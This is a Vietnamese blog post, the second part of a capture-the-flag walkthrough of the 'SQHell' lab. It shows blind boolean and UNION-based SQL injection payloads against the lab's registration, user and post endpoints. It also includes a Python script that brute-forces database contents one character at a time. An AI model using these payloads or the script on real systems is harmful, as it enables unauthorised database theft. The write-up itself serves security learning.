Advertisement

Responsive Advertisement

SQHell-Try and find all the flags in the SQL Injections - Phần 2

 


Tiếp tục với SQHELL, bài lần trước mình mới làm đến phần khai thác website. Mình truy cập lại trang đăng ký tài khoản mới

Mình kiểm tra mã nguồn đăng ký là hàm check username

<script>
    $('input[name="username"]').keyup(function(){
        $('.userstatus').html('');
        let username = $(this).val();
        $.getJSON('/register/user-check?username='+ username,function(resp){
            if( resp.available ){
                $('.userstatus').css('color','#80c13d');
                $('.userstatus').html('Username available');
            }else{
                $('.userstatus').css('color','#F00');
                $('.userstatus').html('Username already taken');
            }
        });
    });
</script>
Ví dụ mình để tên không thuộc tài khoản tồn tại, available : true tức là có thể tạo tài khoản này

Mình thử payload sau: admin' and 1=2;-- -

Thấy rằng vẫn trả về giá trị true, chứng tỏ có lỗi SQLi tại đây


Cùng với các làm tìm flag2 liên quan sử dụng substring để tìm ra từng phần của lá cờ với lỗi blind SQLi,

Payload: http://sqhell.thm/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),1,1)) = 'T';-- -

Mình viết đoạn khai thác:

import requests
import string

characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':'

ip = "" #change to machine IP

flag = ""

counter = 1

while True:
    for i in characterlist: # loop through each character in the character list
        r = requests.get("http://" +  ip + f"/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),{counter},1)) = '{i}';-- -") #create request
        if 'false' in r.text: # check if return 'false' statement which indicates a match
            flag += i # add the character to the flag string
            counter += 1 # increment the counter by one to then check the next letter
            print(flag) 
            break

Mình chạy chương trình và thu được cờ



Tiếp tục khai thác, nhìn vào một người dùng trên blog, hiển thị thông tin chi tiết của người dùng trên web cùng với các bài đăng.

Vận dụng kiến thức liên quan đến khai thác lỗi SQLi mình thử nghiệm lỗi Error-based SQLi phát hiện được nó có 4 bảng

http://sqhell.thm/user?id=1 union select null,null,null,null;-- -

Lỗi xảy ra bảng số 2 và 3, mình thực hiện khai thác tìm cờ trỏ vào bảng đó

http://sqhell.thm/user?id=2 union select "1 union select null,flag,null,null from flag",null,null from information_schema.tables where table_schema=database();-- -



Tìm cờ cuối cùng cũng tương tự, mình vào một bài viết bất kỳ thử lỗi SQL tại đây thấy có lỗi


Mình thử khai thác với lỗi như ở tìm cờ 4: 
http://sqhell.thm/post?id=2 and 1=2 union select null,null,flag,null from flag

Sau đó cũng có cờ cuối cùng




Done !!!



Post a Comment

0 Comments